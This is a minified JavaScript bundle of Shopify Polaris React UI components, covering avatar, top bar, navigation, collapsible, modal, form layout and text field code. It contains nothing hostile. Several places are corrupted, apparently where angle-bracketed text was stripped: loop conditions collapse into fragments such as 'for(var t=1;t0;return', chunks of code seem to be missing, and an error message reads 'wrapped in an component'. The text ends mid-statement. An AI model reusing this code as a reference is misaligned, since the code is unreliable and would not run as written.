Ia,ja={Avatar:"Polaris-Avatar",hidden:"Polaris-Avatar--hidden",sizeExtraSmall:"Polaris-Avatar--sizeExtraSmall",sizeSmall:"Polaris-Avatar--sizeSmall",sizeMedium:"Polaris-Avatar--sizeMedium",sizeLarge:"Polaris-Avatar--sizeLarge",styleOne:"Polaris-Avatar--styleOne",styleTwo:"Polaris-Avatar--styleTwo",styleThree:"Polaris-Avatar--styleThree",styleFour:"Polaris-Avatar--styleFour",styleFive:"Polaris-Avatar--styleFive",hasImage:"Polaris-Avatar--hasImage",Image:"Polaris-Avatar__Image",Initials:"Polaris-Avatar__Initials",Svg:"Polaris-Avatar__Svg"},Ra=["sourceSet","source","crossOrigin"];function Ba(e){var t=e.sourceSet,n=e.source,a=e.crossOrigin,o=u(e,Ra),i=t?t.map((function(e){var t=e.source,n=e.descriptor;return"".concat(t," ").concat(n)})).join(","):null;return i?r.createElement("img",Object.assign({src:n,srcSet:i,crossOrigin:a},o)):r.createElement("img",Object.assign({src:n},o,{crossOrigin:a}))}!function(e){e.Pending="PENDING",e.Loaded="LOADED",e.Errored="ERRORED"}(Ia||(Ia={}));var Da=["one","two","three","four","five"];function Ha(e){var t=e.name,n=e.source,a=e.onError,o=e.initials,i=e.customer,l=e.size,s=void 0===l?"medium":l,u=e.accessibilityLabel,c=jt(),d=na();var f=ne((0,r.useState)(Ia.Pending),2),p=f[0],h=f[1];(0,r.useEffect)((function(){h(Ia.Pending)}),[n]);var m,v=(0,r.useCallback)((function(){h(Ia.Errored),a&&a()}),[a]),g=(0,r.useCallback)((function(){h(Ia.Loaded)}),[]),b=n&&p!==Ia.Errored,y=t||o;if(u)m=u;else if(t)m=t;else if(o){var w=o.split("").join(" ");m=c.translate("Polaris.Avatar.labelWithInitials",{initials:w})}else m=c.translate("Polaris.Avatar.label");var x=Xe(ja.Avatar,s&&ja[Je("size",s)],!i&&ja[Je("style",function(e){return e?Da[e.charCodeAt(0)%Da.length]:Da[0]}(y))],(b||o&&0===o.length)&&p!==Ia.Loaded&&ja.hidden,b&&ja.hasImage),E=n&&d&&p!==Ia.Errored?r.createElement(Ba,{className:ja.Image,source:n,alt:"",role:"presentation",onLoad:g,onError:v}):null,S=i||!o?r.createElement("path",{fill:"currentColor",d:"M8.28 27.5A14.95 14.95 0 0120 21.8c4.76 0 8.97 2.24 11.72 5.7a14.02 14.02 0 01-8.25 5.91 14.82 14.82 0 01-6.94 0 14.02 14.02 0 01-8.25-5.9zM13.99 12.78a6.02 6.02 0 1112.03 0 6.02 6.02 0 01-12.03 0z"}):r.createElement("text",{x:"50%",y:"50%",dy:"0.35em",fill:"currentColor",fontSize:"20",textAnchor:"middle"},o),k=b?null:r.createElement("span",{className:ja.Initials},r.createElement("svg",{className:ja.Svg,viewBox:"0 0 40 40"},S));return r.createElement("span",{"aria-label":m,role:"img",className:x},k,E)}function za(){var e=(0,r.useContext)(ge);if(!e)throw new Ve("No Theme was provided.");return e}var Ua=function(e){var t,n=e.showNavigationToggle,a=e.userMenu,o=e.searchResults,i=e.searchField,l=e.secondaryMenu,s=e.searchResultsVisible,u=e.searchResultsOverlayVisible,c=void 0!==u&&u,d=e.onNavigationToggle,f=e.onSearchResultsDismiss,p=e.contextControl,h=jt(),m=za().logo,v=rt(!1),g=v.value,b=v.setTrue,y=v.setFalse,w=Xe(ft,g&&pt),x=n?r.createElement("button",{type:"button",className:w,onClick:d,onFocus:b,onBlur:y,"aria-label":h.translate("Polaris.TopBar.toggleMenuLabel")},r.createElement(zt,{source:Qe})):null,E=nt(m,104);if(p)t=r.createElement("div",{className:dt},p);else if(m){var S=Xe(st,n||i?it:lt);t=r.createElement("div",{className:S},r.createElement(sn,{url:m.url||"",className:ct,style:{width:E}},r.createElement(Ba,{source:m.topBarSource||"",alt:m.accessibilityLabel||"",className:ut,style:{width:E}})))}var k=i?r.createElement(r.Fragment,null,i,r.createElement(_t,{visible:s,onDismiss:f,overlayVisible:c},o)):null;return r.createElement("div",{className:ot},x,t,r.createElement("div",{className:ht},r.createElement("div",{className:mt},k),r.createElement("div",{className:vt},l),a))};Ua.Menu=Fa,Ua.SearchField=function(e){var t=e.value,n=e.focused,a=e.active,o=e.placeholder,i=e.onChange,l=e.onFocus,s=e.onBlur,u=e.onCancel,c=e.showFocusBorder,d=jt(),f=ne((0,r.useState)(!1),2),p=f[0],h=f[1],m=(0,r.useRef)(null),v=qe("SearchField"),g=(0,r.useCallback)((function(e){var t=e.currentTarget;i(t.value)}),[i]),b=(0,r.useCallback)((function(){return l&&l()}),[l]),y=(0,r.useCallback)((function(){return s&&s()}),[s]),w=(0,r.useCallback)((function(){u&&u(),m.current&&(m.current.value="",i(""),m.current.focus())}),[u,i]);(0,r.useEffect)((function(){m.current&&(n?m.current.focus():m.current.blur())}),[n]);var x=""!==t&&r.createElement("button",{type:"button","aria-label":d.translate("Polaris.TopBar.SearchField.clearButtonLabel"),className:It,onClick:w,onBlur:function(){h(!1),w()},onFocus:function(){b(),h(!0)}},r.createElement(zt,{source:Pt})),E=Xe(Tt,(n||a||p)&&At);return r.createElement("div",{className:E,onFocus:b,onBlur:y},r.createElement(Dt,null,r.createElement("label",{htmlFor:v},d.translate("Polaris.TopBar.SearchField.search"))),r.createElement("input",{id:v,className:Mt,placeholder:o,type:"search",autoCapitalize:"off",autoComplete:"off",autoCorrect:"off",ref:m,value:t,onChange:g,onKeyDown:Ut}),r.createElement("span",{className:Ft},r.createElement(zt,{source:Nt})),x,r.createElement("div",{className:Xe(Lt,c&&Ot)}))},Ua.UserMenu=function(e){var t=e.name,n=e.detail,a=e.avatar,o=e.initials,i=e.actions,l=e.message,s=e.onToggle,u=e.open,c=e.colorScheme,d=e.accessibilityLabel,f=Boolean(l),p=r.createElement(r.Fragment,null,r.createElement(Gt,{active:f},r.createElement(Ha,{size:"small",source:a,initials:o&&o.replace(" ","")})),r.createElement("span",{className:Wt},r.createElement("p",{className:Vt},t),r.createElement("p",{className:qt},n)));return r.createElement(Fa,{activatorContent:p,open:u,onOpen:s,onClose:s,actions:i,message:l,colorScheme:c,accessibilityLabel:d})};var Wa,Va,qa=(0,r.createContext)(!1),Za=(0,r.createContext)({location:""}),Ka="Polaris-Navigation",Ga="Polaris-Navigation__ContextControl",$a="Polaris-Navigation__PrimaryNavigation",Ya="Polaris-Navigation__LogoContainer",Qa="Polaris-Navigation__Logo",Xa="Polaris-Navigation__LogoLink",Ja="Polaris-Navigation__Item",eo="Polaris-Navigation--keyFocused",to="Polaris-Navigation__Item--selected",no="Polaris-Navigation__Item--disabled",ro="Polaris-Navigation__Icon",ao="Polaris-Navigation__Badge",oo="Polaris-Navigation--subNavigationActive",io="Polaris-Navigation__ExternalIcon",lo="Polaris-Navigation__ListItem",so="Polaris-Navigation__RollupSection",uo="Polaris-Navigation__SecondaryNavigation",co="Polaris-Navigation__ListItem--hasAction",fo="Polaris-Navigation__ItemWrapper",po="Polaris-Navigation__Text",ho="Polaris-Navigation__SecondaryAction",mo="Polaris-Navigation--isExpanded",vo="Polaris-Navigation__List",go="Polaris-Navigation__SecondaryNavigation--noIcon",bo="Polaris-Navigation__Section",yo="Polaris-Navigation__Section--fill",wo="Polaris-Navigation__Section--withSeparator",xo="Polaris-Navigation__SectionHeading",Eo="Polaris-Navigation__Action",So="Polaris-Navigation__RollupToggle",ko="Polaris-Navigation__Indicator",_o=function(e){return r.createElement("svg",Object.assign({viewBox:"0 0 20 20"},e),Wa||(Wa=r.createElement("path",{d:"M6 10a2 2 0 1 1-4.001-.001A2 2 0 0 1 6 10zm6 0a2 2 0 1 1-4.001-.001A2 2 0 0 1 12 10zm6 0a2 2 0 1 1-4.001-.001A2 2 0 0 1 18 10z"})))},Co=function(e){return r.createElement("svg",Object.assign({viewBox:"0 0 20 20"},e),Va||(Va=r.createElement("path",{d:"M11 4a1 1 0 0 1 1-1h4a1 1 0 0 1 1 1v4a1 1 0 1 1-2 0V6.414l-5.293 5.293a1 1 0 0 1-1.414-1.414L13.586 5H12a1 1 0 0 1-1-1zM3 6.5A1.5 1.5 0 0 1 4.5 5H8a1 1 0 0 1 0 2H5v8h8v-3a1 1 0 1 1 2 0v3.5a1.5 1.5 0 0 1-1.5 1.5h-9A1.5 1.5 0 0 1 3 15.5v-9z"})))},Po="Polaris-Collapsible",No="Polaris-Collapsible--isFullyClosed",To="Polaris-Collapsible--expandOnPrint";function Ao(e){var t=e.id,n=e.expandOnPrint,a=e.open,o=e.transition,i=e.children,s=ne((0,r.useState)(0),2),u=s[0],c=s[1],d=ne((0,r.useState)(a),2),f=d[0],p=d[1],h=ne((0,r.useState)("idle"),2),m=h[0],v=h[1],g=(0,r.useRef)(null),b="idle"===m&&a&&f,y="idle"===m&&!a&&!f,w=n||!y?i:null,x=Xe(Po,y&&No,n&&To),E=l(l({},o&&{transitionDuration:"".concat(o.duration),transitionTimingFunction:"".concat(o.timingFunction)}),{maxHeight:b?"none":"".concat(u,"px"),overflow:b?"visible":"hidden"}),S=(0,r.useCallback)((function(e){e.target===g.current&&(v("idle"),p(a))}),[a]);return(0,r.useEffect)((function(){a!==f&&v("measuring")}),[a,f]),(0,r.useEffect)((function(){a&&g.current&&c(g.current.scrollHeight)}),[]),(0,r.useEffect)((function(){if(g.current)switch(m){case"idle":break;case"measuring":c(g.current.scrollHeight),v("animating");break;case"animating":c(a?g.current.scrollHeight:0)}}),[m,a,f]),r.createElement("div",{id:t,style:E,ref:g,className:x,onTransitionEnd:S,"aria-expanded":a},w)}function Mo(e){var t=e.id,n=e.children,a=e.expanded,o=qe("SecondaryNavigation");return r.createElement(Ao,{id:t||o,open:a,transition:{duration:"0ms",timingFunction:"linear"}},r.createElement("ul",{className:vo},n))}function Lo(){var e=(0,r.useContext)(Pe);if(!e)throw new Error("No mediaQuery was provided. Your application must be wrapped in an component. See https://polaris.shopify.com/components/structure/app-provider for implementation instructions.");return e}var Oo="Polaris-Indicator",Fo="Polaris-Indicator--pulseIndicator";function Io(e){var t=e.pulse,n=Xe(Oo,(void 0===t||t)&&Fo);return r.createElement("span",{className:n})}var jo,Ro=["label"];function Bo(e){var t=e.url,n=e.icon,a=e.label,o=e.subNavigationItems,i=void 0===o?[]:o,l=e.secondaryAction,s=e.disabled,c=e.onClick,d=e.accessibilityLabel,f=e.selected,p=e.badge,h=e.new,m=e.matches,v=e.exactMatch,g=e.matchPaths,b=e.excludePaths,y=e.external,w=jt(),x=Lo().isNavigationCollapsed,E=qe("SecondaryNavigation"),S=(0,r.useContext)(Za),k=S.location,_=S.onNavigationDismiss,C=ne((0,r.useState)(!1),2),P=C[0],N=C[1],T=ne((0,r.useState)(!1),2),A=T[0],M=T[1];(0,r.useEffect)((function(){!x&&P&&N(!1)}),[P,x]);var L=(0,r.useCallback)((function(e){e.keyCode===Hn.Tab&&!A&&M(!0)}),[A]),O=(0,r.useCallback)((function(){A&&M(!1)}),[A]),F=s?-1:0,I=i.filter((function(e){return e.new})).length>0?r.createElement("span",{className:ko},r.createElement(Io,{pulse:!0})):null,j=n?r.createElement("div",{className:ro},r.createElement(zt,{source:n})):null,R=w.translate("Polaris.Common.newWindowAccessibilityHint"),B=y?r.createElement("div",{className:io},r.createElement(zt,{accessibilityLabel:R,source:Co,color:"base"})):null,D=null,H=null==(D=h?r.createElement(En,{status:"new",size:"small"},w.translate("Polaris.Badge.STATUS_LABELS.new")):"string"===typeof p?r.createElement(En,{status:"new",size:"small"},p):p)?null:r.createElement("div",{className:ao},D),z=r.createElement(r.Fragment,null,j,r.createElement("span",{className:po},a,I),H);if(null==t){var U=Xe(Ja,s&&no,A&&eo,f&&to);return r.createElement("li",{className:lo},r.createElement("button",{type:"button",className:U,disabled:s,"aria-disabled":s,"aria-label":d,onClick:ee(c),onKeyUp:L,onBlur:O},z))}var W=l&&r.createElement(sn,{external:!0,url:l.url,className:ho,tabIndex:F,"aria-disabled":s,"aria-label":l.accessibilityLabel,onClick:l.onClick},r.createElement(zt,{source:l.icon})),V=zo({url:t,matches:m,exactMatch:v,matchPaths:g,excludePaths:b},k),q=i.filter((function(e){var t=zo(e,k);return t===jo.MatchForced||t===jo.MatchUrl||t===jo.MatchPaths})),Z=q.length>0,K=null==f?V===jo.MatchForced||V===jo.MatchUrl||V===jo.MatchPaths:f,G=K||P||Z,$=Xe(Ja,s&&no,K&&0===i.length&&to,G&&oo,A&&eo),Y=null;if(i.length>0){var Q=q.sort((function(e,t){var n=e.url;return t.url.length-n.length}))[0],X=Xe(uo,G&&mo,!n&&go);Y=r.createElement("div",{className:X},r.createElement(Mo,{expanded:G,id:E},i.map((function(e){var t=e.label,n=u(e,Ro);return r.createElement(Bo,Object.assign({key:t},n,{label:t,matches:e===Q,onClick:function(){_&&_(),e.onClick&&e.onClick!==_&&e.onClick()}}))}))))}var J=Xe(lo,l&&co);return r.createElement("li",{className:J},r.createElement("div",{className:fo},r.createElement(sn,Object.assign({url:t,className:$,external:y,tabIndex:F,"aria-disabled":s,"aria-label":d,onClick:ee(c),onKeyUp:L,onBlur:O},function(e,t,n){return t?{"aria-expanded":n,"aria-controls":e}:void 0}(E,i.length>0,G)),z,B),W),Y);function ee(e){return function(t){if(t.currentTarget.getAttribute("href")===k&&t.preventDefault(),i&&i.length>0&&x)t.preventDefault(),N(!P);else if(_)return _(),void(e&&e!==_&&e());e&&e()}}}function Do(e){var t=e.split("?")[0].split("#")[0];return t.endsWith("/")?t:"".concat(t,"/")}function Ho(e,t){return Do(e).startsWith(Do(t))}function zo(e,t){var n=e.url,r=e.matches,a=e.exactMatch,o=e.matchPaths,i=e.excludePaths;return null==n?jo.NoMatch:r?jo.MatchForced:!1===r||i&&i.some((function(e){return Ho(t,e)}))?jo.Excluded:o&&o.some((function(e){return Ho(t,e)}))?jo.MatchPaths:(a?function(e,t){return Do(e)===Do(t)}(t,n):Ho(t,n))?jo.MatchUrl:jo.NoMatch}!function(e){e[e.MatchForced=0]="MatchForced",e[e.MatchUrl=1]="MatchUrl",e[e.MatchPaths=2]="MatchPaths",e[e.Excluded=3]="Excluded",e[e.NoMatch=4]="NoMatch"}(jo||(jo={}));var Uo=["onClick","label","subNavigationItems"];var Wo=function(e){var t=e.children,n=e.contextControl,a=e.location,o=e.onDismiss,i=e.ariaLabelledBy,l=za().logo,s=nt(l,104),u=l?r.createElement("div",{className:Ya},r.createElement(sn,{url:l.url||"",className:Xa,style:{width:s}},r.createElement(Ba,{source:l.topBarSource||"",alt:l.accessibilityLabel||"",className:Qa,style:{width:s}}))):null,c=n?r.createElement("div",{className:Ga},n):u,d=(0,r.useMemo)((function(){return{location:a,onNavigationDismiss:o}}),[a,o]);return r.createElement(Za.Provider,{value:d},r.createElement(qa.Provider,{value:!0},r.createElement("nav",{className:Ka,"aria-labelledby":i},c,r.createElement(Nr,{className:$a},t))))};function Vo(){return Vo=Object.assign||function(e){for(var t=1;t0;return r.createElement(Bo,Object.assign({key:n},o,{label:n,subNavigationItems:a,onClick:h(t,i)}))})),y=Xe(Ja,So),w=i&&(c?i.hide:i.view),x=i&&o.length>i.after&&r.createElement("div",{className:lo,key:"List Item"},r.createElement("button",{type:"button",className:y,onClick:d,"aria-label":w},r.createElement("span",{className:ro},r.createElement(zt,{source:_o})))),E=o.findIndex((function(e){return!!i&&(i.activePath===e.url||e.url&&i.activePath.startsWith(e.url)||!!e.subNavigationItems&&e.subNavigationItems.some((function(e){var t=e.url;return i.activePath.startsWith(t)})))})),S=i?b.slice(0,i.after):b,k=i?b.slice(i.after):[];i&&-1!==E&&E>i.after-1&&S.push.apply(S,te(k.splice(E-i.after,1)));var _=qe("AdditionalItems"),C=i&&k.length>0&&r.createElement("li",{className:so},r.createElement(Ao,{id:_,open:c},r.createElement("ul",{className:vo},k)),x);return r.createElement("ul",{className:m},g,S,C)};var Zo=r.createContext(null);function Ko(e,t){var n=Object.create(null);return e&&r.Children.map(e,(function(e){return e})).forEach((function(e){n[e.key]=function(e){return t&&(0,r.isValidElement)(e)?t(e):e}(e)})),n}function Go(e,t,n){return null!=n[t]?n[t]:e.props[t]}function $o(e,t,n){var a=Ko(e.children),o=function(e,t){function n(n){return n in t?t[n]:e[n]}e=e||{},t=t||{};var r,a=Object.create(null),o=[];for(var i in e)i in t?o.length&&(a[i]=o,o=[]):o.push(i);var l={};for(var s in t){if(a[s])for(r=0;r1&&void 0!==arguments[1])||arguments[1]);!!t&&t.focus()}(l.current)),e.target===t&&e.shiftKey&&(e.preventDefault(),function(e){var t=On(e,!(arguments.length>1&&void 0!==arguments[1])||arguments[1]);!!t&&t.focus()}(l.current))}}}),a))}var Ti=["instant","labelledBy","children","onClose","onExited","onEntered","large","small","limitHeight"],Ai=["children"];function Mi(e){var t=e.instant,n=e.labelledBy,a=e.children,o=e.onClose,i=e.onExited,l=e.onEntered,s=e.large,c=e.small,d=e.limitHeight,f=u(e,Ti),p=(0,r.useRef)(null),h=Xe(bi,c&&wi,s&&xi,d&&yi),m=t?di:Oi;return(0,r.useEffect)((function(){p.current&&!p.current.contains(document.activeElement)&&An(p.current)}),[]),r.createElement(m,Object.assign({},f,{nodeRef:p,mountOnEnter:!0,unmountOnExit:!0,timeout:200,onEntered:l,onExited:i}),r.createElement("div",{className:vi,"data-polaris-layer":!0,"data-polaris-overlay":!0,ref:p},r.createElement(Ni,null,r.createElement("div",{role:"dialog","aria-modal":!0,"aria-labelledby":n,tabIndex:-1,className:gi},r.createElement("div",{className:h},r.createElement(cr,{keyCode:Hn.Escape,handler:o}),a)))))}var Li={appear:Xe(Ei,Si),appearActive:Xe(Ei,Ci),enter:Xe(Ei,Si),enterActive:Xe(Ei,Ci),exit:Xe(Ei,ki),exitActive:Xe(Ei,_i)};function Oi(e){var t=e.children,n=u(e,Ai);return r.createElement(mi,Object.assign({},n,{classNames:Li}),t)}var Fi,Ii="Polaris-Modal-Header",ji="Polaris-Modal-Header--titleHidden",Ri="Polaris-Modal-Header__Title",Bi=function(e){return r.createElement("svg",Object.assign({viewBox:"0 0 20 20"},e),Fi||(Fi=r.createElement("path",{d:"m11.414 10 6.293-6.293a1 1 0 1 0-1.414-1.414L10 8.586 3.707 2.293a1 1 0 0 0-1.414 1.414L8.586 10l-6.293 6.293a1 1 0 1 0 1.414 1.414L10 11.414l6.293 6.293A.998.998 0 0 0 18 17a.999.999 0 0 0-.293-.707L11.414 10z"})))},Di="Polaris-Modal-CloseButton";function Hi(e){var t=e.onClick,n=jt();return r.createElement("button",{onClick:t,className:Di,"aria-label":n.translate("Polaris.Common.close")},r.createElement(zt,{source:Bi,color:"base"}))}var zi={DisplayText:"Polaris-DisplayText",sizeSmall:"Polaris-DisplayText--sizeSmall",sizeMedium:"Polaris-DisplayText--sizeMedium",sizeLarge:"Polaris-DisplayText--sizeLarge",sizeExtraLarge:"Polaris-DisplayText--sizeExtraLarge"};function Ui(e){var t=e.element,n=void 0===t?"p":t,a=e.children,o=e.size,i=void 0===o?"medium":o,l=Xe(zi.DisplayText,i&&zi[Je("size",i)]);return r.createElement(n,{className:l},a)}function Wi(e){var t=e.id,n=e.titleHidden,a=e.children,o=e.onClose;return r.createElement("div",{className:n||!a?ji:Ii},r.createElement("div",{id:t,className:Ri},r.createElement(Ui,{element:"h2",size:"small"},a)),r.createElement(Hi,{onClick:o}))}var Vi="Polaris-Modal-Section",qi="Polaris-Modal-Section--subdued",Zi="Polaris-Modal-Section--flush";function Ki(e){var t=e.children,n=e.flush,a=void 0!==n&&n,o=e.subdued,i=Xe(Vi,a&&Zi,void 0!==o&&o&&qi);return r.createElement("section",{className:i},t)}var Gi="Polaris-Modal-Footer",$i="Polaris-Modal-Footer__FooterContent",Yi=["content","onAction"];function Qi(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};if(Array.isArray(e))return e.map((function(e,n){return Xi(e,t,n)}));var n=e;return Xi(n,t)}function Xi(e,t,n){var a=e.content,o=e.onAction,i=u(e,Yi);return r.createElement(Ma,Object.assign({key:n,onClick:o},i,t),a)}var Ji={ButtonGroup:"Polaris-ButtonGroup",Item:"Polaris-ButtonGroup__Item","Item-plain":"Polaris-ButtonGroup__Item--plain",segmented:"Polaris-ButtonGroup--segmented","Item-focused":"Polaris-ButtonGroup__Item--focused",fullWidth:"Polaris-ButtonGroup--fullWidth",extraTight:"Polaris-ButtonGroup--extraTight",tight:"Polaris-ButtonGroup--tight",loose:"Polaris-ButtonGroup--loose"};function el(e){var t=e.button,n=rt(!1),a=n.value,o=n.setTrue,i=n.setFalse,l=Xe(Ji.Item,a&&Ji["Item-focused"],t.props.plain&&Ji["Item-plain"]);return r.createElement("div",{className:l,onFocus:o,onBlur:i},t)}function tl(e){var t=e.children,n=e.spacing,a=e.segmented,o=e.fullWidth,i=e.connectedTop,l=Xe(Ji.ButtonGroup,n&&Ji[n],a&&Ji.segmented,o&&Ji.fullWidth),s=Wn(t).map((function(e,t){return r.createElement(el,{button:e,key:t})}));return r.createElement("div",{className:l,"data-buttongroup-segmented":a,"data-buttongroup-connected-top":i,"data-buttongroup-full-width":o},s)}function nl(e){var t=e.primaryAction,n=e.secondaryActions,a=e.children,o=t&&Qi(t,{primary:!0})||null,i=n&&Qi(n)||null,l=o||i?r.createElement(tl,null,i,o):null;return r.createElement("div",{className:Gi},r.createElement("div",{className:$i},r.createElement(Vr,{alignment:"center"},r.createElement(Vr.Item,{fill:!0},a),l)))}var rl="Polaris-Backdrop",al="Polaris-Backdrop--transparent",ol="Polaris-Backdrop--belowNavigation";function il(e){var t=e.onClick,n=e.onTouchStart,a=e.belowNavigation,o=e.transparent,i=Xe(rl,a&&ol,o&&al);return r.createElement(r.Fragment,null,r.createElement(St,null),r.createElement("div",{className:i,onClick:t,onTouchStart:n}))}var ll=function(e){var t,n,a=e.children,o=e.title,i=e.titleHidden,l=void 0!==i&&i,s=e.src,u=e.iFrameName,c=e.open,d=e.instant,f=e.sectioned,p=e.loading,h=e.large,m=e.small,v=e.limitHeight,g=e.footer,b=e.primaryAction,y=e.secondaryActions,w=e.onScrolledToBottom,x=e.activator,E=e.onClose,S=e.onIFrameLoad,k=e.onTransitionEnd,_=e.noScroll,C=ne((0,r.useState)(200),2),P=C[0],N=C[1],T=qe("modal-header"),A=(0,r.useRef)(null),M=jt().translate("Polaris.Modal.iFrameTitle"),L=(0,r.useCallback)((function(){k&&k()}),[k]),O=(0,r.useCallback)((function(){N(200);var e=x&&sl(x)?x&&x.current:A.current;e&&requestAnimationFrame((function(){return An(e)}))}),[x]),F=(0,r.useCallback)((function(e){var t=e.target;if(t&&t.contentWindow)try{N(t.contentWindow.document.body.scrollHeight)}catch(n){N(400)}null!=S&&S(e)}),[S]);if(c){var I=g||b||y?r.createElement(nl,{primaryAction:b,secondaryActions:y},g):null,j=f?Dn(a,Ki,{}):a,R=p?r.createElement("div",{className:ni},r.createElement(aa,null)):j,B=_?r.createElement("div",{className:ei},R):r.createElement(Nr,{shadow:!0,className:ei,onScrolledToBottom:w},R),D=s?r.createElement("iframe",{name:u,title:M,src:s,className:ti,onLoad:F,style:{height:"".concat(P,"px")}}):B;t=r.createElement(Mi,{instant:d,labelledBy:T,onClose:E,onEntered:L,onExited:O,large:h,small:m,limitHeight:v},r.createElement(Wi,{titleHidden:l,id:T,onClose:E},o),r.createElement("div",{className:Jo},D),I),n=r.createElement(il,null)}var H=!d,z=x&&!sl(x)?r.createElement("div",{ref:A},x):null;return r.createElement(qa.Provider,{value:!0},z,r.createElement(Rn,{idPrefix:"modal"},r.createElement(Xo,{appear:H,enter:H,exit:H},t),n))};function sl(e){return Object.prototype.hasOwnProperty.call(e,"current")}ll.Section=Ki;var ul="Polaris-FormLayout",cl="Polaris-FormLayout__Title",dl="Polaris-FormLayout__Items",fl="Polaris-FormLayout__HelpText",pl="Polaris-FormLayout__Item",hl="Polaris-FormLayout--grouped",ml="Polaris-FormLayout--condensed";function vl(e){return r.createElement("div",{className:pl},e.children)}function gl(e){var t,n,a=e.children,o=e.condensed,i=e.title,l=e.helpText,s=Xe(o?ml:hl),u=qe("FormLayoutGroup"),c=null,d=null;l&&(t="".concat(u,"HelpText"),c=r.createElement("div",{id:t,className:fl},l)),i&&(n="".concat(u,"Title"),d=r.createElement("div",{id:n,className:cl},i));var f=r.Children.map(a,(function(e){return Dn(e,vl,{})}));return r.createElement("div",{role:"group",className:s,"aria-labelledby":n,"aria-describedby":t},d,r.createElement("div",{className:dl},f),c)}var bl=(0,r.memo)((function(e){var t=e.children;return r.createElement("div",{className:ul},r.Children.map(t,yl))}));function yl(e,t){return Un(e,gl)?e:Dn(e,vl,{key:t})}bl.Group=gl;var wl,xl={TextField:"Polaris-TextField",multiline:"Polaris-TextField--multiline",Input:"Polaris-TextField__Input",hasValue:"Polaris-TextField--hasValue",focus:"Polaris-TextField--focus",Backdrop:"Polaris-TextField__Backdrop",error:"Polaris-TextField--error",readOnly:"Polaris-TextField--readOnly",disabled:"Polaris-TextField--disabled",Prefix:"Polaris-TextField__Prefix","Input-hasClearButton":"Polaris-TextField__Input--hasClearButton","Input-suffixed":"Polaris-TextField__Input--suffixed","Input-alignRight":"Polaris-TextField__Input--alignRight","Input-alignLeft":"Polaris-TextField__Input--alignLeft","Input-alignCenter":"Polaris-TextField__Input--alignCenter",Suffix:"Polaris-TextField__Suffix",CharacterCount:"Polaris-TextField__CharacterCount",AlignFieldBottom:"Polaris-TextField__AlignFieldBottom",ClearButton:"Polaris-TextField__ClearButton",Hidden:"Polaris-TextField__Hidden",Spinner:"Polaris-TextField__Spinner",SpinnerIcon:"Polaris-TextField__SpinnerIcon",Resizer:"Polaris-TextField__Resizer",DummyInput:"Polaris-TextField__DummyInput",Segment:"Polaris-TextField__Segment",monospaced:"Polaris-TextField--monospaced"},El="Polaris-Labelled--hidden",Sl="Polaris-Labelled__LabelWrapper",kl="Polaris-Labelled__HelpText",_l="Polaris-Labelled__Error",Cl="Polaris-Labelled__Action",Pl=function(e){return r.createElement("svg",Object.assign({viewBox:"0 0 20 20"},e),wl||(wl=r.createElement("path",{d:"M10 18a8 8 0 1 1 0-16 8 8 0 0 1 0 16zM9 9a1 1 0 0 0 2 0V7a1 1 0 1 0-2 0v2zm0 4a1 1 0 1 0 2 0 1 1 0 0 0-2 0z"})))},Nl="Polaris-InlineError",Tl="Polaris-InlineError__Icon";function Al(e){var t=e.message,n=e.fieldID;return t?r.createElement("div",{id:Ml(n),className:Nl},r.createElement("div",{className:Tl},r.createElement(zt,{source:Pl})),t):null}function Ml(e){return"".concat(e,"Error")}var Ll="Polaris-Label",Ol="Polaris-Label--hidden",Fl="Polaris-Label__Text",Il="Polaris-Label__RequiredIndicator";function jl(e){return"".concat(e,"Label")}function Rl(e){var t=e.children,n=e.id,a=e.hidden,o=e.requiredIndicator,i=Xe(Ll,a&&Ol);return r.createElement("div",{className:i},r.createElement("label",{id:jl(n),htmlFor:n,className:Xe(Fl,o&&Il)},t))}var Bl=["id","label","error","action","helpText","children","labelHidden","requiredIndicator"];function Dl(e){var t=e.id,n=e.label,a=e.error,o=e.action,i=e.helpText,l=e.children,s=e.labelHidden,c=e.requiredIndicator,d=u(e,Bl),f=Xe(s&&El),p=o?r.createElement("div",{className:Cl},Xi(o,{plain:!0})):null,h=i?r.createElement("div",{className:kl,id:Hl(t)},i):null,m=a&&"boolean"!==typeof a&&r.createElement("div",{className:_l},r.createElement(Al,{message:a,fieldID:t})),v=n?r.createElement("div",{className:Sl},r.createElement(Rl,Object.assign({id:t,requiredIndicator:c},d,{hidden:!1}),n),p):null;return r.createElement("div",{className:f},v,l,m,h)}function Hl(e){return"".concat(e,"HelpText")}var zl={Connected:"Polaris-Connected",Item:"Polaris-Connected__Item","Item-primary":"Polaris-Connected__Item--primary","Item-focused":"Polaris-Connected__Item--focused"};function Ul(e){var t=e.children,n=e.position,a=rt(!1),o=a.value,i=a.setTrue,l=a.setFalse,s=Xe(zl.Item,o&&zl["Item-focused"],"primary"===n?zl["Item-primary"]:zl["Item-connection"]);return r.createElement("div",{onBlur:l,onFocus:i,className:s},t)}function Wl(e){var t=e.children,n=e.left,a=e.right,o=n?r.createElement(Ul,{position:"left"},n):null,i=a?r.createElement(Ul,{position:"right"},a):null;return r.createElement("div",{className:zl.Connected},o,r.createElement(Ul,{position:"primary"},t),i)}function Vl(e){var t=e.onChange,n=e.onClick,a=e.onMouseDown,o=e.onMouseUp;function i(e){return function(){return t(e)}}function l(e){return function(t){0===t.button&&a(e)}}return r.createElement("div",{className:xl.Spinner,onClick:n,"aria-hidden":!0},r.createElement("div",{role:"button",className:xl.Segment,tabIndex:-1,onClick:i(1),onMouseDown:l(i(1)),onMouseUp:o},r.createElement("div",{className:xl.SpinnerIcon},r.createElement(zt,{source:ea}))),r.createElement("div",{role:"button",className:xl.Segment,tabIndex:-1,onClick:i(-1),onMouseDown:l(i(-1)),onMouseUp:o},r.createElement("div",{className:xl.SpinnerIcon},r.createElement(zt,{source:Xr}))))}function ql(e){var t=e.contents,n=e.currentHeight,a=void 0===n?null:n,o=e.minimumLines,i=e.onHeightChange,l=(0,r.useRef)(null),s=(0,r.useRef)(null),u=(0,r.useRef)(),c=(0,r.useRef)(a);a!==c.current&&(c.current=a),(0,r.useEffect)((function(){return function(){u.current&&cancelAnimationFrame(u.current)}}),[]);var d=o?r.createElement("div",{ref:s,className:xl.DummyInput,dangerouslySetInnerHTML:{__html:$l(o)}}):null,f=(0,r.useCallback)((function(){u.current&&cancelAnimationFrame(u.current),u.current=requestAnimationFrame((function(){if(l.current&&s.current){var 